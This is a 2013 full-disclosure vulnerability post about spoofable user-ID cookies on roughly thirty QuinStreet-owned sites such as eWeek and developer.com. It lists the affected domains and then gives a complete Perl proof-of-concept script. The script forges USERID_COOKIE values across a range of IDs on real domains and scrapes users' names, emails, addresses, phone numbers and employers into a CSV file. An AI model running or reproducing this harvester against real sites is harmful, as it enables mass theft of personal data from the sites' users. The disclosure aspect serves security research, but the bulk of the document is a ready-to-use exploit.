# March 13, 2013 # FULL-DISCLOSURE Exclusive - Vielen Dank John! # # VULNERABILITY SUMMARY # --------------------- # A confirmed security vulnerability has been identified with 30 high traffic web # sites owned by QuinStreet.   Vendor stores database IDs in cookies which are # easily spoofed (USERID_COOKIE), allowing all user information to be accessed.  # Seven million users are reportedly in the database: # http://www.itbusinessedge.com/about-itbe # # Web sites include: # # Ziff Davis # ---------- # http://www.eweek.com/ # http://www.baselinemag.com/ # http://www.cioinsight.com/ # http://www.channelinsider.com/ # http://www.eseminarslive.com/ # # Developer.com Network # --------------------- # http://www.developer.com/ # http://www.devx.com/ # http://www.codeguru.com/ # http://www.htmlgoodies.com/ # # IT Business Edge Network # ------------------------ # http://www.itbusinessedge.com/ # http://www.datamation.com/ # http://www.smallbusinesscomputing.com/ # http://www.internetnews.com/ # http://www.serverwatch.com/ # http://www.infostor.com/ # http://www.enterprisestorageforum.com/ # http://www.enterprisenetworkingplanet.com/ # http://www.enterpriseappstoday.com/ # http://www.cioupdate.com/ # http://www.databasejournal.com/ # http://www.esecurityplanet.com/ # http://www.webopedia.com/ # http://www.linuxtoday.com/ # # PROOF OF CONCEPT # ---------------- # The below sample POC Perl script will extract user demographic data from the # above listed web sites and write the contents to a csv file. #  # On Windows, use http://www.strawberryperl.com/, for other O/S visit www.perl.org/get.html #   use strict; use WWW::Mechanize; use HTTP::Cookies;   # assetforms.* are iframes inserted into each website user management page my @urls  = ("http://assetform.itbusinessedge.com/acl/accountController.jsp",              "http://assetform.eweek.com/acl/accountController.jsp?css=eweek/"     ."eweekArticleRegistrationForm.css&sdn=Eweek&w=http://www.eweek.com"     ."&u=%2Findex.php%2FaccountManagement%3F&isIframed=yes&rand=11207&formType=",              "http://assetform.developer.com/acl/accountController.jsp?formType="     ."userProfile&css=developerCom/developerComArticleRegistrationForm.css&w="     ."http://www.developer.com&sdn=developer&nlalkeys=null&submit=submit/");   my $agent = "User-Agent=Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; "             ."Trident/6.0)"; #comma delimited file name my $outfile = "eweek-users" .int(rand 100000) . ".csv"; my $cookie_jar = HTTP::Cookies->new; my $mech = WWW::Mechanize->new(cookie_jar=>$cookie_jar); $mech->agent($agent); my $url; my $Website; my $LowUserid_Cookie = 0; my $HighUserid_Cookie = 0; my $i; my $SessDate; my $UserDemographic; my $output_page;   RandUserRange(); CreateCsvHeader();   for ($i = $LowUserid_Cookie; $i < $HighUserid_Cookie; $i+=100) {  $SessDate = "136303" . int(1000000 + rand 1000000);  setCookies($i,$SessDate);    foreach $url (@urls){   $Website = substr($url, 17, 5);   retrieveUrl($url);   #print "\n\nCookies:\n", $mech->cookie_jar->as_string, "\n";   print ("UserID:" . $i . "\n");   print ("Website" . $Website . "\n");   print ("Length of output_page:" . length($output_page));   print ("\n\n");   last if length($output_page);    }    if (length($output_page)) {     open(OUTFILE,">>$outfile");     $UserDemographic = processForm($i);     print OUTFILE $UserDemographic;     #print OUTFILE $output_page;     close (OUTFILE);  }  } exit;   sub RandUserRange {  # if (rand(2) < 1) {    #$LowUserid_Cookie = int(rand( 1000)) + 390000;    #$LowUserid_Cookie .= "21";       $LowUserid_Cookie = "38500021";    $HighUserid_Cookie ="47000021";       #   }    #  else {    #$LowUserid_Cookie = int(rand(10000)) + 1500000;    #  $LowUserid_Cookie =  "144530710";    #  $HighUserid_Cookie = "180000000"; # } }   sub setCookies {  $cookie_jar->clear;  $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.itbusinessedge.com',0);   $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.itbusinessedge.com',0);   $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.eweek.com',0);   $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.eweek.com',0);   $cookie_jar->set_cookie('0','USERID_COOKIE',$_[0],'/','.developer.com',0);   $cookie_jar->set_cookie('0','SESSDATE_COOKIE',$_[1],'/','.developer.com',0);  }   sub retrieveUrl {   $mech->get($_[0]);   $output_page = $mech->content();     if ($output_page =~ m/Sign In/)  {    $output_page = "";   }     return ($output_page); }   sub processForm {   $mech->form_name("formTypePost");   my $Userid = $_[0];   my $FirstName = clean($mech->value('FN'));   my $LastName = clean($mech->value('LN'));   my $Email = clean($mech->value('EM'));   my $CompanyName = clean($mech->value('CompanyName'));   my $Title = clean($mech->value('Designation'));   my $JobFunction = clean($mech->value('JobFunction'));   my $DecisionRole = clean($mech->value('DecisionRole'));   my $Employees = clean($mech->value('NumberofEmployeesRange'));   my $Industry = clean($mech->value('Industry'));   my $StreetAddress = clean($mech->value('S1'));   my $City = clean($mech->value('CT'));   my $State = clean($mech->value('SP'));   my $PostalZone = clean($mech->value('PC'));   my $Country = clean($mech->value('CN'));   my $Phone = clean($mech->value('WP'));   my $s;   $s = $Userid .','. $Website .',' .$FirstName .','. $LastName .','. $Email .','     .$CompanyName .','. $Title .','. $JobFunction .','. $DecisionRole .','     .$Employees .','. $Industry .','. $StreetAddress .','. $City .','. $State     .','. $PostalZone .','. $Country .','. $Phone . "\n";   return ($s); }   sub clean {   local($a) = ($_[0]);   $a =~ s/[^a-zA-Z0-9 \.\@!_%+-]//g;   return $a }   sub CreateCsvHeader {   open(OUTFILE,">$outfile") || die("File write error");   print OUTFILE "UserId,Website,FirstName,LastName,Email,CompanyName,Title,"   ."JobFunction,DecisionRole,Employees,Industry,StreetAddress,City,State,"   ."PostalCode,Country,Phone\n";     close(OUTFILE); }